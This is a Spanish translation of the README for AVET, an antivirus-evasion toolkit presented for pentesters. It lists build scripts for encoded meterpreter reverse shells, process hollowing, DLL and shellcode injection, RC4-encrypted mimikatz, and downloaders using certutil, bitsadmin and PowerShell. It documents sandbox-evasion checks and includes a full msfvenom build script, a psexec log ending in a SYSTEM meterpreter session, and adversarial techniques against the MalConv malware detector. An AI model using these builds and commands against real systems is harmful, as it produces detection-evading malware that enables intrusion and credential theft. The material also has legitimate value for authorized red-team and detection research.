Herramienta de evasión de antivirus
AVET es una herramienta de evasión de antivirus, desarrollada para facilitar la vida de los pentesters y para experimentar con técnicas de evasión de antivirus, así como otros métodos utilizados por el software malicioso. Para una visión general de las nuevas características en v2.4, así como de los incrementos de versiones anteriores, consulte el archivo CHANGELOG.
No todas las técnicas evadirán todos los motores antivirus. Si una técnica o script de compilación no funciona, pruebe con otra. ¡Siéntase libre de experimentar! Después de todo, esto es una caja de herramientas; sin embargo, debe manejar el martillo usted mismo.
¡Las instrucciones de instalación aplican para Kali 64bit y tdm-gcc!
Puede usar el script de configuración:```bash ./setup.sh
Esto debería iniciarte automáticamente instalando/configurando wine e instalando tdm-gcc.
Sin embargo, pronto tendrás que hacer clic en la GUI del instalador de tdm-gcc; la configuración estándar debería ser suficiente.
El script también preguntará si deseas instalar las dependencias de AVET, que son necesarias para usar algunos de los scripts de compilación. Las dependencias obtenidas se colocarán en carpetas separadas junto a la carpeta avet.
Las dependencias obtendrán las últimas versiones de:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Si por alguna razón deseas instalar wine y tdm-gcc manualmente:
- [Cómo instalar tdm-gcc con wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Si no estás usando Kali o no deseas instalar Metasploit en tu sistema, puedes usar el contenedor Docker en su lugar.
El contenedor encapsula Metasploit y avet, y las muestras se crearán en tu directorio actual.
También es posible usar un editor de texto gráfico como gedit.
Construyendo el contenedor:```bash
sudo docker build -t avet:v0.1 .
Uso:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Para una mejor experiencia, se recomienda crear un alias para esto.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py es una pequeña utilidad de Python que fue diseñada para asistirte en el uso de la herramienta.
Enumera todos los scripts que están presentes actualmente en la carpeta build. Después de seleccionar uno, podrás avanzar paso a paso por el script línea por línea, teniendo la oportunidad de modificar el contenido sobre la marcha.
Esto último es especialmente útil ya que puedes definir nuevas variables LHOST y LPORT para msfvenom cada vez que ejecutas un script de compilación a través de fabric.
Puedes definir valores predeterminados de LHOST y LPORT en el archivo /build/global_connect_config.sh, los cuales se usan si no los redefines.
Estas modificaciones son temporales, lo que significa que cualquier cambio que hagas no persistirá en el script de compilación en disco. La versión modificada se ejecuta una vez y se construye tu ejecutable.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET la forma normal
Por supuesto, es posible ejecutar todos los comandos paso a paso desde la línea de comandos. Sin embargo, en la carpeta 'build' encontrarás scripts de compilación preconfigurados para casos de uso relevantes. Los scripts de compilación en sí están escritos de manera que deben ser llamados desde dentro del directorio avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
Puede definir los valores predeterminados de LHOST y LPORT para los payloads de Metasploit en el archivo /build/global_connect_config.sh, que se usan si no los redefine.
Genere un ejecutable de hollowing de proceso de 32 bits en dos pasos (como en build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
Primero, genere el payload de hollowing con AVET:
Segundo, compile el ejecutable "dropper" que entrega el payload del primer paso mediante hollowing:
Así se obtiene un payload de meterpreter cifrado y verificado ambientalmente en dos capas, inyectado (hollowed) en un proceso de su elección. Si bien las configuraciones en el script de compilación son principalmente con fines de demostración, hay mucha flexibilidad para personalizar su ejecutable generado realizando modificaciones simples al script de compilación.
Podría cambiar los métodos de recuperación de datos: en lugar de compilar estáticamente la mayoría de los datos en el ejecutable, podría descargar su payload de hollowing a través de PowerShell, descargar la clave de descifrado a través de sockets, usar diferentes cifrados o comprobaciones ambientales, etc.
O intente agregar más capas de evasión realizando una tercera iteración de compilación. O cambie el payload. ¿Quiere usar Mimikatz en su lugar? Conviértalo a shellcode a través de https://github.com/hasherezade/pe_to_shellcode y cambie el payload en el script de compilación.
Por supuesto, también puede diseñar compilaciones más minimalistas, como ejecutar un shellcode sin cifrar con solo una comprobación ambiental, o tal vez 50 iteraciones de shikata sean suficientes para alcanzar su objetivo. Elija o modifique los scripts de compilación según sus necesidades.
A continuación, encontrará una lista de todos los scripts de compilación incluidos actualmente. Los nombres deberían dar una pista sobre la funcionalidad de cada script. Para obtener información detallada, considere los comentarios dentro de los scripts. Siéntase libre de modificar o escribir sus propios scripts de compilación para construir su ejecutable personalizado.
Estos métodos son compatibles con todas las fuentes de datos de AVET y pueden usarse como tales en el script de compilación.
Algunos ejemplos:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Si las características se omiten/no se usan, debes especificar un comportamiento similar a NOP en su lugar:```
set_command_source no_data
set_command_exec no_command
Los datos se recuperan de un archivo y se compilan estáticamente en el ejecutable generado. Para que esto funcione, los datos deben proporcionarse como un array de estilo C en el momento de la compilación, como``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
Los datos se compilan estáticamente en el ejecutable generado,
recuperados del argumento especificado en el script de compilación.
#### dynamic_from_file
Los datos se leen de un archivo en tiempo de ejecución.
#### from_command_line_hex
Recupera datos de una cadena hexadecimal en formato "11aabb22.." (desde la línea de comandos).
#### from_command_line_raw
Recupera datos de un argumento de la línea de comandos. La cadena ASCII dada se interpreta como datos binarios crudos.
#### download_certutil
Descarga datos de una URI especificada, usando ```certutil.exe -urlcache -split -f```.
Elimina el archivo descargado en disco antes de leer los datos.
#### download_curl
Descarga los datos usando curl.
Elimina el archivo descargado en disco antes de leer los datos.
#### download_internet_explorer
Descarga datos de una URL especificada, usando Internet Explorer.
Elimina el archivo descargado en disco antes de leer los datos.
#### download_powershell
Descarga datos de una URI especificada mediante powershell.
Elimina el archivo descargado en disco antes de leer los datos.
#### download_socket
Descarga los datos de una URI especificada, usando sockets.
Los datos se leen directamente en memoria, no se guarda ningún archivo en disco.
#### download_bitsadmin
Descarga los datos usando la utilidad BITSAdmin de Windows.
Elimina el archivo descargado en disco antes de leer los datos.
### Métodos de ejecución de payload
Cómo ejecutar/entregar el payload. Los métodos de inyección/hollowing requieren información adicional sobre el objetivo de inyección, la cual se puede proporcionar mediante ```set_payload_info_source <la_información>``` (ver métodos de recuperación de datos).
#### exec_shellcode
Ejecuta shellcode de 32 bits con un enlace de función C.
#### exec_shellcode64
Ejecuta shellcode de 64 bits con un enlace de función C y VirtualProtect.
#### exec_shellcode_ASCIIMSF
Ejecuta shellcode codificado con ASCIIMSF mediante ```call eax```.
#### hollowing32
Crea una instancia de un nuevo proceso, recorta la imagen original y hueca (hollow) el payload dado en el nuevo proceso.
El payload es una imagen ejecutable de 32 bits. Funciona en objetivos de 32 bits.
#### hollowing64
Igual que hollowing32, pero usando payloads PE de 64 bits para procesos objetivo de 64 bits.
#### inject_dll
Inyecta un dll en un proceso objetivo, usando ```CreateRemoteThread```.
La inyección funciona para payloads de 32 bits en procesos de 32 bits, y payloads de 64 bits en procesos de 64 bits, respectivamente.
#### inject_shellcode
Inyecta shellcode en un proceso objetivo, usando ```CreateRemoteThread```.
La inyección funciona para shellcode de 32 bits en procesos de 32 bits, y shellcode de 64 bits en procesos de 64 bits, respectivamente.
### Cifrado y Codificación
AVET proporciona codificadores para cada esquema, los cuales se pueden aplicar al payload antes de la compilación/entrega.
En la ejecución, el decodificador especificado desofusca nuevamente el payload en tiempo de ejecución.
Aquí hay un ejemplo de RC4, donde la clave de descifrado se recupera de la línea de comandos en formato hexadecimal en el momento de la ejecución:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
También puedes omitir la característica de codificación al no codificar más el shellcode, y configurando:``` set_key_source no_data set_decoder none
#### xor
Rolling XOR, soporta claves multibyte.
#### avet
Codificación personalizada, reinterpretando el formato ASCII.
#### rc4
Cifrado/descifrado RC4, con longitud de clave flexible.
### Evasión de depuradores y sandboxes
Estas son comprobaciones de entorno que se realizan antes de la codificación y ejecución final del payload.
Si se detecta un entorno de ejecución desfavorable (por ejemplo, un sandbox de antivirus), la ejecución se detiene.
Actualmente, puedes poner en cola hasta 10 comprobaciones de forma arbitraria. Se admite el uso de la misma técnica varias veces.
El límite de la cola *EVASION_ARRAY_SIZE* se puede modificar fácilmente en *avet.c*.
#### is debugger present
Verifica con la función isDebuggerPresent() si hay un depurador presente. Sale si es verdadero.```
add_evasion is_debugger_present
Sleep durante un tiempo determinado antes de la ejecución. La duración (en segundos) se puede especificar en el script de compilación, como```
add_evasion evasion_by_sleep 3
#### sleep by ping
Detiene la ejecución del programa por los segundos especificados invocando un comando ping temporizado contra localhost.
El programa hace ping una vez cada segundo.```
add_evasion sleep_by_ping 4
Verificar si el sandbox utiliza avance rápido para reducir el tiempo de verificación heurística. Se utilizan la hora local y sleep.``` add_evasion check_fast_forwarding
#### get tickcount
Verifica si el sandbox utiliza el avance rápido para reducir el tiempo de verificación heurística. Se utiliza el tiempo de actividad y la suspensión.```
add_evasion get_tickcount
Obtener nombre de usuario y comparar con el nombre de usuario dado. Salir si no coincide.``` add_evasion has_username 'IEUser'
#### Messagebox
Muestra un simple Messagebox antes de la ejecución. Si la aritmética no se resuelve correctamente, el programa finaliza.```
add_evasion interaction_msg_box
Esperar hasta que se entregue la entrada usando getchar.``` add_evasion interaction_getchar
#### pausa del sistema
Ejecuta system("pause"), haciendo que el cmd generado (y nuestro proceso principal) espere cualquier pulsación de tecla.```
add_evasion interaction_system_pause
Verifica la existencia de un archivo. Si no se encuentra, detiene la ejecución. El nombre del archivo se puede especificar en el script de compilación, como``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### información de la BIOS
Comprueba si es posible obtener la tabla de firmware SMBIOS. Detiene la ejecución si no es posible.```
add_evasion get_bios_info
Intenta resolver un nombre de host de tu elección. Si gethostbyname devuelve distinto de NULL, detén la ejecución. El nombre de host contra el que comprobar se puede especificar en el script de compilación, como``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Comprueba la cantidad de núcleos de CPU en el objetivo. Si el número es menor que el valor especificado, detiene la ejecución.```
add_evasion get_cpu_cores 2
Verifica prefijos MAC específicos del proveedor. Si se identifica alguno, detiene la ejecución.``` add_evasion has_vm_mac
#### has_vm_regkey
Comprueba las claves de registro específicas del proveedor. Si se identifica alguna, detiene la ejecución.```
add_evasion has_vm_regkey
No es realmente una técnica de evasión, pero oculta la ventana de la consola ;)``` add_evasion hide_console
#### Fecha de instalación
Obtener la fecha de instalación de Windows y compararla con la especificada. Si las fechas no coinciden, detener la ejecución. La fecha debe especificarse en formato dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'
Contar el número de procesos en ejecución. Si el número de procesos es menor que el umbral dado, detener la ejecución.``` add_evasion get_num_processes 50
#### Navegador estándar
Lee la clave del Registro para obtener el navegador predeterminado. Si el navegador no coincide con el valor dado, detén la ejecución. Los valores posibles son MSEdgeHTM, Firefox o ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Consulta el dominio DNS en el que se encuentra el objetivo. Si el objetivo no está en el dominio esperado según lo especificado, el programa sale.``` add_evasion get_computer_domain 'domain.com'
#### Cálculo
Fibonacci
Calcula iteraciones especificadas de la serie de Fibonacci.
Probablemente producirá resultados incorrectos para n grandes debido a los límites de enteros.```
# 10 iterations
add_evasion computation_fibonacci 10
Timed Fibonacci
Detiene los cálculos de Fibonacci después de aproximadamente los segundos especificados.```
add_evasion computation_timed_fibonacci 20
#### Carpetas y más
Comprueba si existe Artifact, detén la ejecución si no. Las rutas deben estar en estilo Unix.
Fondo de pantalla:```
add_evasion has_background_wp
Verificar carpeta:``` add_evasion has_folder 'C:/Users/user/Downloads/'
Verificar escritorio público:```
add_evasion has_public_desktop
Verificar la papelera de reciclaje``` add_evasion has_recycle_bin
Verificar carpeta de archivos recientes```
add_evasion has_recent_files
Comprobar unidad de red``` add_evasion has_network_drive
### Ejecución de comandos adicionales
Te otorga la capacidad de ejecutar un payload adicional de cmd/powershell directamente después de las eventuales funciones de evasión de sandbox.
La fuente del payload es compatible con los métodos de recuperación de datos de AVET.
El siguiente ejemplo descarga un payload de powershell mediante BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Toma datos sin procesar como entrada desde un archivo, los convierte al formato de array C y escribe la salida en otro archivo. Esto ayuda a proporcionar el formato correcto para el método de recuperación de datos static_from_file.
Utilidad de generación de claves. Genera una clave aleatoria (no criptográfica) o toma una clave predefinida como entrada, y envía los datos de clave en bruto a un archivo especificado. Esto ayuda a proporcionar material de clave para la función de cifrado de AVET.
Utilidad de AVET 1.3 que realiza la codificación AVET.
AVET es compatible con el módulo psexec de metasploit. Para ello, el ejecutable generado debe compilarse como un Servicio de Windows, lo cual se implementa usando avetsvc.c. Considere el script de compilación de ejemplo correspondiente
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
Y del lado de metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Los ejemplos adversariales son entradas específicamente diseñadas con el propósito de llevar a los modelos de aprendizaje automático a una clasificación errónea.
Para usar este método, cree un entorno virtual e instale las dependencias necesarias desde requirements.txt.
Se dispone de cinco manipulaciones que preservan la funcionalidad para archivos PE:
Para aplicar la manipulación práctica al malware con bytes aleatorios inyectados, use el comando gen_adversarial_exe seguido del nombre de la manipulación práctica y la ruta al archivo como parámetros.
Las manipulaciones disponibles son full_dos, extend, shift, padding, section_injection.
Por ejemplo:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Optimización Genética
En lugar de inyectar contenido aleatorio, es posible optimizar el contenido para lograr una mayor probabilidad de evasión.
El optimizador extrae secciones benignas de goodware y utiliza un algoritmo genético para optimizar el contenido inyectado.
El contenido se optimiza contra MalConv, que es un detector estático basado en aprendizaje automático y basado en una red neuronal convolucional.
La implementación de MalConv utilizada proviene de la biblioteca [SecML Malware](https://github.com/pralab/secml_malware).
Se requiere goodware y debe colocarse en la carpeta `input/goodware_samples`.
El [DikeDataset](https://github.com/iosifache/DikeDataset), por ejemplo, es una buena fuente para obtener archivos ejecutables benignos. Cuantos más, mejor, pero 100 son suficientes para fines de prueba.
Para usar el optimizador, use el comando `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Opciones posibles:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Puedes leer más sobre ejemplos adversariales, optimización genética y MalConv aquí:
- [Ejemplos adversariales: Un estudio y evaluación experimental de ataques prácticos sobre el aprendizaje automático para la detección de malware en Windows](https://arxiv.org/abs/2008.07125)
- [Optimización de caja negra preservadora de funcionalidad de malware adversarial de Windows](https://arxiv.org/abs/2003.13526)
- [Detección de malware comiendo un EXE entero](https://arxiv.org/abs/1710.09435)
## Más
---
Para conceptos básicos sobre evasión de antivirus, AVET y más información, echa un vistazo aquí (mayormente para la versión 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)